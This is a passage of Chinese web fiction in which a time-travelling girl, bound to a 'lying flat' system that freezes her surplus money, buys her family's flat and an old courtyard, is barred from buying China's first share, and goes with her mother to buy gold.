她本来想过来败坏时家名声,没想到反倒把自己架在了火上烤,成了人人喊打的过街老鼠,张嘴想反驳:“你们懂什么?就是她家——” 她还想嘴硬再说两句,李秀兰直接冷冷地打断她:“我警告你,张寡妇!今天这事我不跟你计较,你现在立刻滚出我们厂!要是你再敢到处散播谣言,再敢往我闺女身上泼一句脏水,我直接带着街坊邻居去派出所告你诽谤!到时候让你看看,讹人不成、恶意诽谤,是要蹲大牢的!” 这话里的狠劲,直接把张寡妇吓住了。 她没想到李秀兰来真的,看着周围人鄙夷的眼神和指指点点,知道再闹下去讨不到半点好,只能恨恨地瞪了李秀兰一眼,撂下一句没底气的“你们给我等着”,说完灰溜溜地扒开人群跑了。 李秀兰看着她跑远的背影,不屑地哼了一声,转身对着围观的工友们笑着道谢:“谢谢大家伙儿帮我说话了,耽误大家吃饭了,对不住啊!” “谢啥啊李班长!这种人就该骂!” “就是!以后她再敢来,我们直接帮你把她轰走!” 李秀兰笑着跟大家寒暄了两句,拿起饭盒,回去继续吃。 可流言这东西,就跟泼出去的水,一旦撒出去,就再也收不干净了。 第46章 晚上时墨放学回家, 刚拐进家属楼楼道,就看见几个邻居蹲在走廊里拢蜂窝煤,一边拢一边小声嘀咕, 话里话外全是她和家里的事。 “……我听三厂的亲戚说, 今天有人去厂里闹, 说她家买房子讹人, 还说那捐画的事,是跟人串通好的……”说话的是住二楼的李婶,平时最爱东家长西家短地嚼舌根。 “嗨,我听我爱人说了,是那寡妇坐地起价的!讹人没讹成, 反被邻居堵着门骂, 她倒有脸赖人家时家指使,被李班长骂得狗血淋头跑了!” 旁边一个阿姨也跟着说:“对啊, 李婶, 报纸都登了,那还能有假?” “报纸?报纸花点钱就能上!”李婶撇着嘴, 声音压得更低了, “你想啊, 一幅旧画, 能给那么多奖金?谁知道里面有什么门道!再说了, 她家突然这么多钱,又是买好几个房子,指不定来路正不正呢……” 话没说完, 她一抬头,就看见时墨正站在楼梯口,面无表情地看着她。 李婶的脸瞬间僵住了, 手里的煤夹子“啪嗒”一声掉在地上,尴尬得手脚都不知道往哪儿放。旁边几个邻居也连忙停下话头,笑着跟时墨打招呼:“墨墨放学了?” “嗯,张姨、王姨好。”时墨礼貌地点头回应,目光扫过李婶,全程没给她一个正眼。 就在她擦着李婶身边走过的时候,脚步突然停下,侧过头,嘴角勾着一抹淡淡的讥讽,声音不大,却字字清晰:“李婶,我倒是第一次知道,国家官媒的头版新闻,还有市委市政府颁发的奖章,都能花钱买。今天真是长见识了。” 说完,她没看李婶瞬间涨成猪肝色的脸,径直转身上了楼。 身后传来李婶气急败坏的声音:“嘿,这孩子,什么意思啊!” “谁让你乱嚼人家舌根,被孩子抓了现行,活该!” “就是,人家孩子招你惹你了,背后说人坏话……” 时墨听着身后的动静,嘴角撇了撇。 上楼拿钥匙开门,屋里饭菜已经摆上了桌。 李秀兰正端着汤从厨房出来,看见她进屋,笑着道:“回来了?快洗手吃饭。” “妈,我听楼下邻居说,今天张寡妇去厂里闹了?”时墨换了鞋,走过去拉着李秀兰的手,上下打量了她一遍,“没气着吧?她没碰着你吧?” “嗨,就她那两下子,还能气着我?”李秀兰不屑地撇了撇嘴,又得意地扬了扬下巴,“你妈我在车间干了十几年,什么撒泼耍横的没见过?她那点本事,还不够看的!你是没看见,她让我骂得那脸,跟猪肝似的!” 时爱国闻言皱起眉,脸色沉了下去:“她来厂里闹了?没造成什么不好的影响吧?” “能有啥影响?”李秀兰夹了一筷子菜,把今天在厂里骂跑张寡妇的事,绘声绘色地跟时墨说了一遍,“全厂工友都站在我这边,都知道是她想讹钱,没人信她的鬼话。就是这老东西嘴碎,还非说是咱家指使老刘他们骂她的,我直接让她去公安局对质,她吓得屁滚尿流跑了。” “妈,你太牛了!”时墨笑着竖起大拇指,真心实意地夸道,“骂得好!她这种人就是欠收拾!还栽赃咱家指使,也不看看自己配不配!” “可不是!”时建军气得一拍桌子,“我打小就记得她特爱占小便宜,以前冬天还偷过咱家蜂窝煤,让我抓着了还死不承认!现在还敢跑到厂里去造谣,真是给她脸了!” 时爱国沉吟了一下:“那张寡妇那边……就这么算了?她这么一闹,外头肯定有闲话。” “闲言碎语怕什么。”时墨笑了笑,“身正不怕影子斜,咱们家的钱,一笔一笔都来得光明正大,不怕人说。再说了,爸,您等着吧,过不了几天,刘叔他们就得上门。” “上门?他们上门干什么?” 时爱国没明白,李秀兰倒是回过味来了:“你是说……” “张寡妇这么一闹,老刘和王哥肯定知道是咱家不买了。”时墨慢条斯理地说,“他们两家急着卖房,现在知道张寡妇彻底搅黄了买卖,能饶了她?等着看吧,用不了几天,老刘就得替张寡妇来递话,求着咱买。” 李秀兰将信将疑:“她那人死要面子,能低头?” “她不低头,刘叔他们能饶了她?”时墨冷笑道,“再说了,妈你今天这一骂,整个厂都知道是她讹人在先,还栽赃咱家。她再闹,也没人站她那边。院子砸在她手里卖不出去,她不低头也得低头。” 时爱国看着女儿眼里的笃定,忍不住笑了,点了点头:“你这丫头,心眼儿真多,把人心都摸透了。” “这叫谋略。”时墨一本正经地说,“爸,等稿费一到,咱就先跟刘叔他们签合同,把那两间房拿下来。” 这话一出,桌上的气氛瞬间静了下来。 李秀兰先开了口,脸上带着顾虑:“墨墨,还买啊?妈不是泼你冷水,你看这事儿闹的,为了个破院子,惹了一身腥。现在咱们家的房子够住了,你马上要上大学,到处都要花钱,没必要非把钱砸在那老院子上,不值当。” “是啊妹。”时建军也跟着劝,他是真心实意想支持妹妹,可也怕她把钱都花光了,手里没余钱,“我知道你喜欢那院子,可也不用这么急。你手里的钱,留着上大学用,以后想买什么、想干什么,手里有钱心里不慌。真要买,也等以后再说,不急这一时半会 儿的。” 时爱国放下筷子,看着女儿,语气严肃又认真:“墨墨,爸也得跟你说两句。你捐国宝得了奖金,写小说赚了稿费,这都是你凭本事挣的,爸不干涉你怎么花。但爸得提醒你,咱们家现在不比以前,你现在是名人了,报纸电视都上过,一举一动都有人盯着。一下子拿出这么多钱买房子、置产业,厂里、街坊邻居肯定会说闲话,万一再有人说你一个学生不好好上学,倒腾房子,对你影响不好。” 家人的顾虑,都实实在在,全是为了她着想,没有半分私心。 但她不能告诉他们,系统规定钱到手里二十四小时不花出去就得被冻结。 时墨心里暖烘烘的,放下筷子,看着三人,把自己的盘算一条条说得明明白白:“爸,妈,哥,你们的顾虑我都懂,你们听我说。” 她先看向时爱国:“爸,您担心的闲话,根本不用怕。这钱是我写小说的稿费,是国家给我捐国宝的奖金,全是光明正大、交了税的,有凭有据,谁也挑不出错。咱们买房子是自住,不是倒腾买卖,不偷不抢不犯法,谁也说不出什么,而且现在谁倒腾自己住了几十年的破院子,您说是不?” “再说了,您忘了?厂里现在正在搞公房出售试点,职工可以用工龄抵扣,低价买下现在住的房子。这政策是国家给的福利,窗口期就这几个月,过了这村就没这店了。咱们先把这套房子买下来,产权攥在自己手里,以后不管是拆迁还是怎么着,都踏实,对不对?” 时爱国听着闺女的话,不由得点头,这才反应过来了。他在厂里干了二十多年,这套房子住了十几年,一直是公房,每个月交房租。现在国家出了政策,职工可以用工龄低价买下来,他之前还在犹豫,被时墨这么一点,瞬间就想通了——这确实是国家给的福利,不买才亏了! “然后是老院子。”时墨又看向李秀兰,条理清晰道,“妈,那院子位置在市中心,现在看着破,但城市以后要发展,那块地肯定涨。咱们现在买下来,哪怕先租出去,每个月都有进项。稳赚不赔的买卖,肯定值当。” 最后,时墨看向时建军,语气缓和道:“哥,你放心,钱我肯定留够了,上大学花不了多少钱。我知道你们担心我手里不留钱,但你们想想,存银行一年利息才多少?够干啥的?房子不会跑,金子不会烂,比存银行那点利息靠谱多了。万一以后家里有什么急事,金子随时能变现,房子也能随时出手,比把钱单纯攥在手里踏实多了。” 时墨笑道:“再说现在国家政策利好,咱们老百姓买房,过了这村没这店!” 李秀兰听得愣愣的,半晌道:“金子……能行?” “妈,您想想解放前,纸币说废就废,但金条什么时候都能换粮食。”时墨道,“黄金最保险。” 时爱国沉默了好一会儿,看着女儿的眼神复杂,有欣慰,有骄傲:“墨墨,你跟爸说实话,这些想法……都是哪儿来的?看书看的?” 时墨镇定自若地点头:“嗯,看书,还有关注新闻时政,自己也想了很多。再说了咱家房子多,我哥以后娶媳妇也有底气。” 时建军一听这话,眼眶有点热,嘴上却说:“你这丫头,怎么又扯上我了,我当哥的……” “怎么不能扯你?”时墨瞪他,“你是我亲哥,我不替你想替谁想?” 时爱国点了点头,看着女儿的眼神里满是骄傲,拍了板:“行,闺女长大了,看得比爸远!就按你说的办!爸明天就去厂工会问公房出售的事,保准给你办得妥妥帖帖的!” “我就说咱闺女有主意!”李秀兰彻底放下了顾虑,“行!妈也听你的!侨汇券的事,妈去跟厂里跟老姐妹问问!” “刘叔和王哥那边,我明天一早就去说!让他们这几天家里留人,等钱一到,咱们立刻去房管所办手续!”时建军拍着胸脯主动揽下活,又皱着眉问,“妹,要是真像你说的,张寡妇托老刘他们来递话,求着咱买房子,咱怎么办?” 时墨端着水杯抿了一口,嘴角勾着一抹淡笑,语气笃定:“她真来递话,房子可以按当初说好的市价买,但有一条——必须让她自己上门,当着爸妈的面,为去厂里造谣的事赔礼道歉。她不来,这房子咱就不买,晾着她。” “高啊妹!”时建军眼睛一亮,竖起大拇指,“就得让她服个软,不然她还真以为咱们家好欺负!” 一家人分工明确,事情瞬间安排得妥妥当当。时墨悬着的心落了地,只等着出版社的稿费到账,按计划把钱花出去。 而此时此刻,胡同里的老四合院,正闹得鸡飞狗跳—— 作者有话说:下一章开始改成早九点更新,跟大家说一声,起床就能看到了!早睡早起身体好,我最近在努力倒时差QAQ【痛苦面具】 第47章 老刘一家四口, 加上小王两口子,正堵在张寡妇家门口,拍着门板骂得比上午还凶, 唾沫星子喷了一门板。 “张寡妇!你个丧良心的搅屎棍!我们两家急着卖房救命, 全被你一张嘴搅黄了!”老刘媳妇拍着门, 嗓子都喊哑了, “你想讹钱自己讹去,别拉着我们垫背!” “今天你必须给我们个说法!要么你去时家赔礼道歉,把人家请回来买房子,要么你就把我们俩的房子按市价收了!二选一,没别的路!”小王攥着拳头, 气得脸通红。 张寡妇躲在屋里, 插着门闩,背靠着门板浑身发抖, 又气又怕, 肠子都快悔青了。可嘴上依旧不肯服软,隔着门板虚张声势地叫嚷:“你们疯了?!房子是我的, 我想卖多少钱卖多少钱!时家不买是他们没本事, 关我什么事?!要道歉你们自己去, 我不去!” “你放屁!”老刘气得一脚踹在门板上, 震得门框直掉灰, “要不是你坐地起价翻一倍,人家时家能不买?今天你不答应把这事解决了,我们就堵在你家门口不走了!让你连院门都出不去!” 叫骂声、拍门声响彻了整个胡同, 路过的街坊邻居都探着头看热闹,没一个上前劝的,谁都知道是张寡妇不地道, 想讹钱搅黄了买卖,纯属活该。 * 转眼就过了两天。 外面的雪化了大半,天阴沉沉的,时墨也没出门,悠闲地歪在客厅的沙发上看电视。 家里十二寸黑白电视机信号不太好,时不时沙沙作响,时墨也不嫌烦,调了调天线,继续盯着屏幕。 虽然现在的电视节目单调得很,翻来覆去就几个台,但时政新闻她一场不落,每次都看得格外认真。她只记得历史大方向,却容易忽略每年的政策细节,稍不注意,就可能错失掉时代的风口。 正看着,新闻里突然插播了一条简讯:“海市飞跃音响公司正式向社会公开发行华夏第一支普通股股票,总计一万股,每股面值五十元,即日起面向社会公开发行。” “哐当。” 时墨手里的搪瓷缸子摔在茶几上,杯里的温水晃出来,洒在了手背上都没察觉。 飞跃音响!国家第一支公开发行的股票! 她猛地坐直了身子,眼睛死死盯着黑白电视屏幕,连呼吸都顿了半拍。 电视里主持人还在念:“……作为股份制改革试点,此次发行旨在探索企业融资新路子……” 她怎么把这事忘了! 这支原始股刚发行的时候,老百姓连股票是什么都不知道,都觉得是“资本家那套玩意儿”,这东西看不见摸不着,还不如把钱存银行吃利息稳妥。发行快十天都没卖完,最后还是靠动员公司内部职工才勉强售罄。 可谁能想到,短短两年后,1986年这支股票就暴涨十几倍,等到1990年上交所正式成立,更是直接翻了几百倍! 时墨盯着电视屏幕,眼睛都快冒光了。 她甩了甩手上的水,拍拍脸,让自己冷静下来。 之前光想着买房、买黄金,她完全把这支改变华夏资本市场历史的股票忘得一干二净,这可比黄金赚得多太多了! 她心里立刻有了主意:等稿费一到账,先不买别的,直奔信托公司,把剩余的钱全砸进去。 * 次日,周一上午,时墨刚上完第一节语文课。 【叮!宿主当前可支配现金18617元,超出限额18600元!请于24小时内完成合规处置,否则将强制冻结超额财富!】 系统提示音突然在脑海里炸响。 时墨心里一凛,立刻找班主任请了病假,说自己阑尾突然疼起来要去医院,得了批准后,立刻背起书包离开学校。 出了校门口,拦了辆三蹦子,先奔银行,签字,取款。 厚厚一沓崭新的“大团结”,十块钱一张,整整齐齐捆成了十八捆,拿在手里沉甸甸的。 银行柜员多看了她两眼,没多问,把钱递出来时说了句:“小姑娘,这么多钱,路上小心点。” “嗯,谢谢姐姐。” 时墨把装钱的布袋子塞进书包,拉链拉好。从外面看,就是个普通学生装书本的书包,谁也想不到里面装着近两万块的巨款。 从银行出来,时墨又拦了辆三蹦子,直奔国际信托投资公司。 十几分钟后,三蹦子停在信托公司门口,时墨推门进去,直奔柜台。 信托公司柜台的工作人员看见面前的中学生,脸上露出诧异的神色,还是礼貌地问:“小同志,你要办什么业务?” “同志,我想问一下,海市飞跃音响那个股票,咱们这儿能代办认购吗?”时墨扶着柜台,问道。 工作人员上下打量她一眼,态度倒是客气:“我们这儿可以代办。不过——”她顿了顿,压低声音劝了一句,“小姑娘,你确定要买?那玩意儿跟银行存款不一样,不保本不保息,亏了国家可不兜底的。” 时墨心里有数,当下这年月,敢碰股票的,要么是有海外关系、见过世面的,要么就是胆子极大的,普通老百姓连听都没听过这东西。 “我确定。”时墨把书包往柜台上一放,“同志,我要买200股!” “两、两百股??!”工作人员眼睛都瞪圆了,手里的钢笔都差点掉了。最近来问的人不少,最多的也就买个几十股,还都是三四十岁的生意人,从没见过一个十几岁的小姑娘,一张口就买两百股,这可是一万块钱! 她连忙又劝了一遍:“小同志,你可想好了?这真不是存款,万一亏了,钱可就打水漂了!你爸妈知道你拿这么多钱出来买这个吗?” “我想好了,我自己的钱,我能做主。”时墨斩钉截铁地说,伸手就要往外拿钱。 就在这时,系统红色警报突然在脑海里炸响,尖锐刺耳。 【警告!警告!该交易属于主动盈利性投资行为,严重违反“躺平”原则,禁止购买!】 时墨准备掏钱的手瞬间僵住了。 【什么意思?之前买四合院、买黄金都可以,买股票不行?】 【宿主,四合院属于固定资产自住且没有超额,黄金首饰属于佩戴品,均不属于主动盈利性投资。股票属权益类投资,未来收益不可控,不符合“维持基本生活水平”的核心条款。】系统的声音突然严肃起来,【若宿主强行交易,将触发一级惩罚:本次交易的所有资金将全额清零。】 时墨攥着书包带的手瞬间收紧,指节都泛了白。 系统警告声再次响起:【检测到宿主试图规避规则。若由直系亲属代持,惩罚将转移至亲属;若由他人代持,宿主仍将被视为实际受益人,同等处罚。】 时墨盯着柜台上的书包,一颗心沉到了谷底。 几百倍。 几百倍的收益。 就在她眼前,却不能买! 唾手可得的巨额财富,只能眼睁睁看着,这种憋屈,简直比刀割还难受。 工作人员看她脸色不对,站在原地半天没动静,关心道:“小姑娘,你还好吧?要不,你先回去跟家里商量商量?” 时墨压下心里的失落和不甘,缓缓吐出一口气,恢复了平静。 她把书包拉链拉好,对着工作人员歉意地笑了笑:“同志,不好意思,我不买了。” 工作人员点了点头,也没多问。 时墨背起书包转身走出了信托公司的大门。 “时墨?” 身后传来一个熟悉的声音。 时墨回头,愣住。 谢时昀站在另一边,手里拿着个公文包,显然也是来办事的。他看见时墨,眼里闪过一丝意外,随即快步走过来。 “你怎么在这儿?”他放柔了声音问,目光扫过她身上鼓囊囊的书包,顿了顿,“来办业务?” 时墨没想到会在这儿碰见他,礼貌点头:“谢哥。” “怎么脸色这么难看?是不是出什么事了?”谢时昀的声音里满是关切,往前凑了半步,又怕离得太近让她不适,硬生生停住了脚步,“有什么难处,或者需要帮忙的地方,你尽管跟我说,别自己扛着。” 时墨看着他,心里瞬间闪过无数个念头。 她不能买,可谢时昀能买。 他开外贸公司,手里有流动资金,也懂政策,买股票合情合理,完全不违反系统规则。 可念头刚冒出来,就被她掐灭了。 系统的规则摆在那儿,代持都算违规,更别说让他帮忙买了。万一被系统判定为规避规则,得不偿失。更何况,她不想因为这种事,又欠谢时昀人情。 时墨心里的念头百转千回,面上却半点不露。对着他礼貌地笑了笑,语气客套道:“没什么事,就是过来看看。谢哥也是来办事的?” “嗯,过来办点对公业务。”谢时昀点点头,顿了顿,又状似无意地问了句,“刚才听你问飞跃音响的股票?你对这个也感兴趣?” 时墨没否认,也没承认,只反问了一句,把话题抛了回去:“谢哥呢?看你的意思是打算买?” “对,我准备买点。”谢时昀也不瞒她,语气认真道,“我研究过,这家公司做音响设备的,技术过硬,有自己的核心技术,发展前景不错。股票这东西在国外早就普及了,国内是头一回试点,我觉得是个新机会。” 时墨听完,心里那个滋味,别提了。 谢时昀说话的时候,一直留意着她的表情,把她眼里一闪而过的遗憾和莫名的愤怒看得清清楚楚。 谢时昀心思一转,立刻笑着补了一句:“其实我买这些股票,不全是为自己。” 时墨挑了挑眉。 “快年底了,公司员工这一年干得不错,我打算拿一部分股票当奖励发下去。”谢时昀语气随意,像是随口一提,“时叔在我公司挂名顾问,虽然平时不常来,但厂里几台进口设备出了难题,全靠时叔帮忙解决,帮了我大忙。到时候分红,自然也有时叔那一份。” 他这是…… 她看着谢时昀,目光里多了点说不清的意味。 谢时昀被她这么一看,耳根微微有点热,面上却不动声色。 时墨看着谢时昀,笑了笑,没接他递过来的台阶,只顺着他的话道:“谢哥对员工倒是大方,难怪公司做得这么好。不过既然你觉得这支股票有潜力,手里流动资金充足,倒是可以多买点。” 谢时昀微微一怔,显然没料到她会这么说。 时墨又旁敲侧击补了两句:“国家现在很支持股份制试点,海市以后可能会有股票交易的地方。你既然看好这个方向,可以多留意那边的政策。” 她说得很隐晦。 但谢时昀是什么人?常年跟外商打交道,在政策里找机会的人,时墨这两句话一出口,他瞬间就听懂了里面的分量。 谢时昀看着时墨的眼神变得复杂起来,“时墨,你……” 第48章 “我就是随口说说。”时墨把书包背好, 冲他摆摆手,“谢哥你先忙,我还有事, 先走了。” 说完, 转身就往路边走, 伸手拦了辆三蹦子。 谢时昀看着她急匆匆的背影, 下意识追上去,关心道:“时墨,你是不是有急事?我开车来的,送你过去,比三蹦子快, 也稳当。” “不用了谢哥, 不麻烦你了!”时墨冲他挥了挥手。 正好一辆三蹦子停下来,她直接跳了上去, 报了地址:“师傅, 红星机械厂,快点儿!” 三蹦子突突突地开走了, 谢时昀站在原地, 看着车子远去的方向, 眉头蹙起, 转身进了信托公司。 柜台工作人员看见他进来, 主动招呼:“同志,您办什么业务?” 谢时昀走到柜台前:“同志,我想问下, 刚才那个女孩要买多少股飞跃音响的股票?” 工作人员刚瞧见两人在外面聊半天,知道是熟人,便说:“两百股。我刚还劝她……” “同志, 飞跃音响的股票,我买两千股。” “两、两千?”工作人员以为自己听岔了,“您确实?” “对,两千股。”谢时昀把公文包放到柜台上,语气平静,“现在就办。” 工作人员张了张嘴,半天没说出话来。 * 三蹦子一路突突突,很快就到了红星机械厂门口。 时墨付了钱,一路小跑进厂,直奔机加工车间。 车间里机器轰鸣,铁屑飞溅,时爱国正拿着图纸,跟几个老师傅围着一台车床商量技术问题。看见女儿气喘呼呼地跑进来,他愣了一下,连忙放下图纸迎了上去:“墨墨?你怎么跑厂里来了?不是上课呢吗?出什么事了?” 时墨顾不上解释,拉着他就往外走:“爸,您跟我出来一下,有急事。” 时爱国被她拽到车间外面,一脸懵。 时墨左右看看,确定没人,把书包打开一条缝,给他看了一眼。 时爱国倒吸一口凉气。 那里面,一捆一捆的“大团结”,码得整整齐齐。 “这……这是……” “稿费到了。”时墨压低声音,“爸,您现在就去跟单位领导说,咱家这套房子,买了。” 时爱国还没回过神:“现在?” “对,现在,马上。”时墨把书包塞给他,“钱在这儿,您跟领导说,一次性付清,按单位补贴价走。越快越好,最好今天就把手续办了。” 她没法跟爸爸说,晚一天,钱就没了。 时爱国看着女儿急切的样子,心里虽有些疑惑,但也没多问。 “行,我去找赵厂长。”他从里面数了足够的钱揣进里兜,把书包还给时墨,“你在传达室等着我,别乱跑,” 他在厂里干了二十多年,又是老技术骨干,拿过好几次先进,人缘好,跟厂领导都熟。拿着钱和事先准备好的户口本、工作证,直奔厂长办公室。 赵厂长正在看文件,见他进来,笑着招呼:“老时?来来来,坐。” 时爱国也不绕弯子,把买房的事一说。 赵厂长听完,二话没说就批了:“行,你等着,我让人带你去工会、财务科办手续。” 他拿起电话打了两通,又抬头看时爱国,语气里带着点感慨:“老时,你闺女有出息,你跟着享福了。” 时爱国笑了笑,没多说什么。 前后不到一个小时,购房合同就签好了,工龄抵扣了一半房款,一共花了三千五百块,钱货两清,就等着后续去房管所拿房产证了。 时爱国拿着签好的合同,一路小跑着到了传达室,脸上带着压不住的笑:“闺女,办好了!你看,都签完字盖完章了!” 时墨接过合同看了看,心里的大石头终于落了一块。 三千五百块花出去了。 还剩一万四千五百块,必须在今天之内全部花完。 “爸,你先忙,户口本给我,我去找我妈!” “你这孩子,又急急忙忙的干什么去?”时爱国把户口本递过去,又不放心地嘱咐:“你路上小心点,钱放好,别露白!还有啥事跟你妈好好说,别着急。” “我知道了爸,我走了!” 时墨把户口本往兜里一揣,背起书包,转身就跑出了厂门。 她跑出厂门的时候,没注意到厂区外不远处,一辆黑色的轿车正停在路边。 * 冬天的风吹在脸上跟刀子似的,三蹦子四面漏风,时墨缩了缩脖子,把装钱的书包抱在怀里,挡往肚子吹的风。 脑子里还在算账——爸那边买房花掉三千五,刘叔和王哥两家院子加一起两千五,还剩一万两千多,全得换成黄金。 三蹦子停在纺织厂门口,时墨跳下车就往里跑。 李秀兰正在细纱车间里忙活,被工友喊出来的时候,一头雾水。 “墨墨?你怎么来了?这不上课呢吗?”李秀兰摘下袖套,拍打着身上的棉絮。 时墨拉着她就走:“妈,跟我走一趟,去老院那边。” “去那儿干啥?” “买房。”时墨语速很快,“老刘和王哥那两家的院子,今天就签合同。” “今天?”李秀兰被拽得踉踉跄跄,一边走一边说:“你这孩子,怎么这么急?人家不一定在家啊!” “肯定在。”时墨说,“哥都去说了,让他们这几天家里留人。” 李秀兰看着女儿火急火燎的样子,一脸懵:“这孩子,怎么这么急啊?这都快下午了,房管所四点就关门了!” “就是要今天办!晚了就来不及了!”时墨拉着她的手就往外走,“妈,你快跟领导请个假,咱们现在就去老院!私房过户手续快得很,今天肯定能办完!” 李秀兰看着女儿急切的样子,虽然不知道她为什么跟火烧眉毛似的,但也知道女儿自家闺女从来不是胡闹的人。 她没再多问,转身回车间找主任请了假,连工服都没换,套上棉袄就跟着时墨往外走。 娘俩坐上包了半天的三蹦子,往老院赶。 李秀兰坐在旁边,被风吹得眯着眼,拽着女儿的胳膊念叨:“你这孩子,啥事都提前盘算好了,妈……” 三蹦子一路突突,二十多分钟就扎进了老胡同,稳稳停在了院门口。 时墨和李秀兰刚进院门,刘叔就从屋里迎出来了,脸上笑成了一朵花:“哎呀!时丫头,李妹子!可算把你们盼来了!快进屋喝口热水!” 王哥也从他家那屋探出头来,看见时墨娘俩,赶紧披上棉袄往外走:“来了来了!我就说今儿肯定有信儿!” “不进屋了刘叔,咱们速战速决。”时墨站在院里,开门见山,“今天来就一件事——签合同、办过户。价格就按咱们之前谈好的,您那间屋一千二,王哥那间大些一千三,一分不少,二位没别的变故吧?” “没有没有!绝对没有!”刘叔连连摆手,脸都涨红了,“就按之前说的价!我们俩证件都揣怀里捂好几天了,就等你们来!” 说着,他又有点不好意思地挠了挠头,往张寡妇那屋瞥了一眼,压低声音道:“就是……张寡妇那事,丫头你也听说了。她前几天去厂里闹,实在是不上道,你别往心里去。这几天我们俩家天天堵着门跟她掰扯,她也知道错了……” 王哥也凑上来帮腔:“对对对,时丫头,你大人有大量,甭跟她一般见识。咱们该咋办咋办,房子的事儿可不能黄。” 时墨笑了笑:“刘叔,王哥,张寡妇是张寡妇。咱一码归一码,今天只谈房子。” 刘叔松了口气,连连点头:“对对对,不谈她,不谈她!” 正说着,张寡妇那屋的门“吱呀”一声开了。 张寡妇从屋里走了出来,身上的棉袄皱巴巴的,头发也乱蓬蓬的,完全没了之前撒泼的嚣张劲儿。她站在门口,犹豫了半天,才磨磨蹭蹭地走过来,嘴唇动了动,想说什么又说不出来。 刘叔扭头看见她,脸色立马变了:“你出来干啥?还嫌不够丢人?” 张寡妇没理他,眼睛直直盯着时墨,突然往前走了一步。 李秀兰下意识把女儿往身后护了护:“你想干啥?” 张寡妇站在两步开外,脸上的表情变了又变,最后像是豁出去了似的,挤出一个比哭还难看的笑:“李大姐,时丫头,之前是我不对,是我、我鬼迷心你们大人有大量,别往心里去。” 时墨挑了挑眉,没接话。 李秀兰看闺女态度,随即冷哼了一声,别过脸没接话。 张寡妇脸上挂不住,但还是硬着头皮往下说:“我不该坐地起价,更不该跑到你们厂里去造谣,败坏你们家名声。我给你们赔不是了,你们宰相肚里能撑船,别跟我这没文化的一般见识,是我钻钱眼里。你看……我这房子也在这儿,要不……你们也看看?价格好商量,真的,好商量。” 刘叔在旁边赶紧打圆场:“就是就是,她知道错了!这几天我们俩家也跟她说了,这院子就剩我们三户,你们家要是不买,这破院子在胡同最里面,谁还会来买?她这才知道,自己错过了多大的机会。” 王哥也接了一句:“可不是嘛。” 时墨看了她一眼,心里明镜似的。 张寡妇被说得脸通红,但愣是没敢还嘴,只能点头配合,还带着点哀求看着时墨:“时丫头,李大姐,我知道我之前不是东西。我这房子,也按八百块的市价卖,一分钱不涨,就按公家估价来!你们就连我这一间,一起收了吧!我也想把房子卖了,回乡下投奔我儿子去。” 她是真的怕了。老刘和小王这几天天天堵着门骂,全院的街坊都知道她想讹钱,见了她都躲着走。 她也打听了,这院子位置偏,除了时家想凑个整院,根本没人愿意来买。今天时家要是真的只买了老刘和小王的,她这房子就彻底砸手里了,这辈子都别想卖出去。 第49章 时墨当初说过, 想卖房子可以,必须亲自赔礼道歉。现在人歉也道了,姿态也放低了, 她也没必要揪着不放。 毕竟, 能凑个完整的四合院, 总归是好的。 时墨淡淡开口:“房子可以按市价收, 八百块,合同今天就签,去房管所过户。你要是同意,现在就去拿房产证和户口本,咱们一起办。” “同意!我同意!”张寡妇眼睛瞬间亮了, 忙不迭地点头, 转身就往屋里跑,“我这就去拿证件!马上就来!” 刘叔和王哥也松了口气, 对着时墨连连道谢:“哎呀, 时丫头,真是太谢谢你了!这下我们两家都能踏实了!” 李秀兰拉了拉女儿的胳膊, 压低声音:“墨墨, 真连她的也买啊?之前她那么闹……” “妈, 没事。”时墨笑了笑, “一码归一码, 她房子没问题,价格也公道,凑个整院, 以后咱们住着也清净。” 李秀兰看着女儿,心里又是感慨又是骄傲。自家闺女这心胸、这脑子,比她这个当妈的强多了。 没一会儿, 张寡妇就抱着证件跑了出来,三家的房产证、户口本、身份证都摆得整整齐齐,时墨检查了一遍,确认没问题。 一群人不敢耽误,锁了院门就直奔区房管所。 路上张寡妇几次想凑过来跟时墨说话,都被李秀兰不冷不热地挡回去了。 下午房管所人不多,双方证件齐全,自愿买卖,流程走得格外顺利。签合同、按手印、交契税,前后一个小时左右,三本崭新的房产证就拿到了手,房屋所有权人那一栏,清清楚楚写着“李秀兰”三个字。 张寡妇拿到卖房的钱,八百块,数了三遍,脸上的表情说不清是哭还是笑。 刘叔和王哥倒是高兴坏了,拉着李秀兰一个劲儿道谢。 “不着急搬,你们慢慢收拾。” “那哪成,我们肯定尽快腾地方,不耽误你们用。” “对对,我们这就回去收拾。” 李秀兰正应付着,时墨拉了拉她的袖子:“妈,差不多了,咱还得去办别的事。” 李秀兰一愣:“还有啥事?房子不都买齐了吗?” 时墨没解释,冲刘叔他们点点头:“刘叔,王哥,我们先走了。以后常来往。” 说完拽着李秀兰就往外走。 “哎好!谢谢你们了!”两人人连忙应声,看着母女俩急匆匆跑远的背影,都忍不住感慨,这时墨看着年纪小,办事是真利落。 “哎哎哎——”李秀兰被她拽着走,回头冲刘叔他们摆手,“回见啊回见!” 走出房管所,李秀兰终于忍不住了:“墨墨,你到底在急啥?房子都买完了,还有 啥事比这大?还有,刚才你压着我写名字我就想问你,怎么写我的名儿啊?这都是你赚的钱。” 写我的,资产超额,系统该从别的地方找补回来,肯定不能写啊! 时墨只能笑着打哈哈:“写谁的不一样?反正以后都是我的。再说了,写你名字,我爸才不敢跟你吵架,多有底气。” 李秀兰被她逗笑了,戳了戳她的额头:“你这孩子,净说歪理。” “反正以后也都是给我的。” “话不能这么说……” 时墨低头看手表——四点十分,离明天早上八点还有不到十六个小时,但问题是,商店快关门了。 她打断李秀兰:“妈,还有一件大事。” 李秀兰看着她,等着下文。 “买黄金!” “啊?”李秀兰感觉自己今天完全跟不上孩子的思路,“这么着急?再说这都四点多了,人家商店也快关门了吧?” “所以才要抓紧!”时墨收了笑,认真地问,“之前让你跟厂里的老姐妹换的侨汇券,带来了吗?” “带来了带来了!”李秀兰连忙从棉袄内兜里掏出一个手绢包,一层层打开,里面是一沓崭新的侨汇券,“我和你爸,还有你哥,跟厂里几个同事换的,你爸还托小谢帮忙换了不少,加起来一共能买一百八十克黄金,够不够?” 听到“小谢”两个字,时墨心里顿了下。 她就说,侨汇券这东西在80年代紧俏得很,光靠爸妈在厂里换,很难凑到这么多,原来是谢时昀暗中帮了忙。 “够了够了!”时墨拉着李秀兰就走,“妈,咱们先去王府井,那边工艺美术服务部能用到侨汇券!” 李秀兰被她拽着跑,一边跑一边念叨:“你这孩子,怎么跟打仗似的……” * 二十多分钟后,时墨娘俩站在了王府井工艺美术服务部的黄金柜台前。 